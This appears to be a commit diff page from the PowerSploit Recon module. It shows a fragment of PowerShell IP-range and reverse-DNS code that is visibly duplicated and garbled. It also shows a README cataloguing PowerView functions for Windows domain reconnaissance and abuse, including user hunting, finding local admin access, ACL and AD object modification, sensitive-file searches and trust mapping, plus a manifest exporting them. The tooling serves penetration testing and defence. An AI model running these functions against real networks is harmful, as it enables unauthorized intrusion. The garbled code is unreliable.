for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
"^$IpRegex/\d{1,2}$"
{
$Result = "cidrRange"
break
}
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
"^$IpRegex-$IpRegex$"
{
$Result = "range"
break
}
"^$IpRegex$"
{
$Result = "single"
break
}
default
{
Write-Warning "Inproper input"
return
}
}
#Now, start processing the IP addresses
switch ($Result)
{
"cidrRange"
{
$CidrRange = $Item.Split("/")
$Network = $CidrRange[0]
$Mask = $CidrRange[1]
break
}
"single"
{
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
else { Write-Warning "Invalid IP address supplied!"; return }
break
}
default
{
Write-Warning "An error occured."
return
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
#Generate lower limit (Excluding network address)
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
#Generate upperr limit (Excluding broadcast address)
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
$LowerInt = [Convert]::ToInt64($Lower, 2)
$UpperInt = [Convert]::ToInt64($Upper, 2)
for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i }
}
"range"
{
$Range = $item.Split("-")
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
$Left = (IPtoInt $Temp1.ToString())
$Right = (IPtoInt $Temp2.ToString())
if ($Right -gt $Left) {
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
}
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
break
}
"single"
{
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
else { Write-Warning "Invalid IP address supplied!"; return }
break
}
default
{
Write-Warning "An error occured."
return
}
}
}
}
}
}
Parse-IPList $IpRange | ForEach-Object {
try {
$Temp = [System.Net.Dns]::GetHostEntry($_)
PROCESS {
Parse-IPList $IpRange | ForEach-Object {
try {
Write-Verbose "Resolving $_"
$Temp = [System.Net.Dns]::GetHostEntry($_)
$Result = @{
IP = $_
HostName = $Temp.HostName
}
$Result = @{
IP = $_
HostName = $Temp.HostName
}
New-Object PSObject -Property $Result
} catch [System.Net.Sockets.SocketException] {}
New-Object PSObject -Property $Result
} catch [System.Net.Sockets.SocketException] {}
}
}
}
+11304
View File
File diff suppressed because it is too large Load Diff
+127
View File
@@ -0,0 +1,127 @@
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Recon`
To see the commands imported, type `Get-Command -Module Recon`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## PowerView
PowerView is a PowerShell tool to gain network situational awareness on
Windows domains. It contains a set of pure-PowerShell replacements for various
windows "net *" commands, which utilize PowerShell AD hooks and underlying
Win32 API functions to perform useful Windows domain functionality.
It also implements various useful metafunctions, including some custom-written
user-hunting functions which will identify where on the network specific users
are logged into. It can also check which machines on the domain the current
user has local administrator access on. Several functions for the enumeration
and abuse of domain trusts also exist. See function descriptions for appropriate
usage and available options. For detailed output of underlying functionality, pass
the -Verbose or -Debug flags.
For functions that enumerate multiple machines, pass the -Verbose flag to get a
progress status as each host is enumerated. Most of the "meta" functions accept
an array of hosts from the pipeline.
### Misc Functions:
Export-PowerViewCSV - thread-safe CSV append
Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit)
Copy-ClonedFile - copies a local file to a remote location, matching MAC properties
Get-IPAddress - resolves a hostname to an IP
Test-Server - tests connectivity to a specified server
Convert-NameToSid - converts a given user/group name to a security identifier (SID)
Convert-SidToName - converts a security identifier (SID) to a group/user name
Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format
Get-Proxy - enumerates local proxy settings
Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion
Get-UserProperty - returns all properties specified for users, or a set of user:prop names
Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names
Find-InterestingFile - search a local or remote path for files with specific terms in the name
Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host
Get-DomainSearcher - builds a proper ADSI searcher object for a given domain
Get-ObjectAcl - returns the ACLs associated with a specific active directory object
Add-ObjectAcl - adds an ACL to a specified active directory object
Get-LastLoggedOn - return the last logged on user for a target host
Get-CachedRDPConnection - queries all saved RDP connection entries on a target host
Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain
Get-GUIDMap - returns a hash table of current GUIDs -> display names
Get-DomainSID - return the SID for the specified domain
Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions
### net * Functions:
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomain - gets all domains for the current forest
Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-NetPrinter - gets an array of all current computers objects in a domain
Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-NetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser - adds a local or domain user to a local or domain group
Get-NetFileServer - get a list of file servers used by current domain users
Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountName to query for a specified
domain object, and then sets a specified 'PropertyName' to a
specified 'PropertyValue'
### GPO functions
Get-GptTmpl - parses a GptTmpl.inf to a custom object
Get-NetGPO - gets all current GPOs for a given domain
Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups"
on on target machines
Find-GPOLocation - takes a user/group and makes machines they have effective
rights over through GPO enumeration and correlation
Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it
through GPO enumeration
Get-DomainPolicy - returns the default domain or DC policy
### User-Hunting Functions:
Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter - hunts for user logon events in domain controller event logs
### Domain Trust Functions:
Get-NetDomainTrust - gets all trusts for the current user's domain
Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
Find-ForeignUser - enumerates users who are in groups outside of their principal domain
Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts
### MetaFunctions:
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain
+73 -65
View File
@@ -1,19 +1,16 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Recon.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
Author = 'Matthew Graeber', 'Will Schroeder'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -24,65 +21,76 @@ Description = 'PowerSploit Reconnaissance Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
FunctionsToExport = @(
'Get-ComputerDetails',
'Get-HttpStatus',
'Invoke-Portscan',
'Invoke-ReverseDnsLookup',
'Set-MacAttribute',
'Copy-ClonedFile',
'Convert-NameToSid',
'Convert-SidToName',
'Convert-NT4toCanonical',
'Get-Proxy',
'Get-PathAcl',
'Get-NetDomain',
'Get-NetForest',
'Get-NetForestDomain',
'Get-NetForestCatalog',
'Get-NetDomainController',
'Get-NetUser',
'Add-NetUser',
'Get-UserProperty',
'Find-UserField',
'Get-UserEvent',
'Get-ObjectAcl',
'Add-ObjectAcl',
'Invoke-ACLScanner',
'Get-NetComputer',
'Get-ADObject',
'Set-ADObject',
'Get-ComputerProperty',
'Find-ComputerField',
'Get-NetOU',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetFileServer',
'Get-DFSshare',
'Get-NetGPO',
'Get-NetGPOGroup',
'Find-GPOLocation',
'Find-GPOComputerAdmin',
'Get-DomainPolicy',
'Get-NetLocalGroup',
'Get-NetShare',
'Get-NetLoggedon',
'Get-NetSession',
'Get-NetRDPSession',
'Invoke-CheckLocalAdminAccess',
'Get-LastLoggedOn',
'Get-CachedRDPConnection',
'Get-NetProcess',
'Find-InterestingFile',
'Invoke-UserHunter',
'Invoke-ProcessHunter',
'Invoke-EventHunter',
'Invoke-ShareFinder',
'Invoke-FileFinder',
'Find-LocalAdminAccess',
'Get-ExploitableSystem',
'Invoke-EnumerateLocalAdmin',
'Get-NetDomainTrust',
'Get-NetForestTrust',
'Find-ForeignUser',
'Find-ForeignGroup',
'Invoke-MapDomainTrust'
)
# Cmdlets to export from this module
CmdletsToExport = '*'
# List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
# List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
'Invoke-Portscan.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
-70
View File
@@ -1,70 +0,0 @@
filter ConvertTo-String
{
<#
.SYNOPSIS
Converts the bytes of a file to a string.
PowerSploit Function: ConvertTo-String
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
ConvertTo-String converts the bytes of a file to a string that has a
1-to-1 mapping back to the file's original bytes. ConvertTo-String is
useful for performing binary regular expressions.
.PARAMETER Path
Specifies the path to the file to convert.
.EXAMPLE
PS C:\>$BinaryString = ConvertTo-String C:\Windows\SysWow64\kernel32.dll
PS C:\>$HotpatchableRegex = [Regex] '[\xCC\x90]{5}\x8B\xFF'
PS C:\>$HotpatchableRegex.Matches($BinaryString)
Description
-----------
Converts kernel32.dll into a string. A binary regular expression is
then performed on the string searching for a hotpatchable code
sequence - i.e. 5 nop/int3 followed by a mov edi, edi instruction.
.NOTES
The intent of ConvertTo-String is not to replicate the functionality
of strings.exe, rather it is intended to be used when
performing regular expressions on binary data.
.LINK
http://www.exploit-monday.com
#>
[OutputType([String])]
Param (
[Parameter( Mandatory = $True,
Position = 0,
ValueFromPipeline = $True )]
[ValidateScript({-not (Test-Path $_ -PathType Container)})]
[String]
$Path
)
$FileStream = New-Object -TypeName IO.FileStream -ArgumentList (Resolve-Path $Path), 'Open', 'Read'
# Note: Codepage 28591 returns a 1-to-1 char to byte mapping
$Encoding = [Text.Encoding]::GetEncoding(28591)
$StreamReader = New-Object IO.StreamReader($FileStream, $Encoding)
$BinaryText = $StreamReader.ReadToEnd()
$StreamReader.Close()
$FileStream.Close()
Write-Output $BinaryText
}

Some files were not shown because too many files have changed in this diff Show More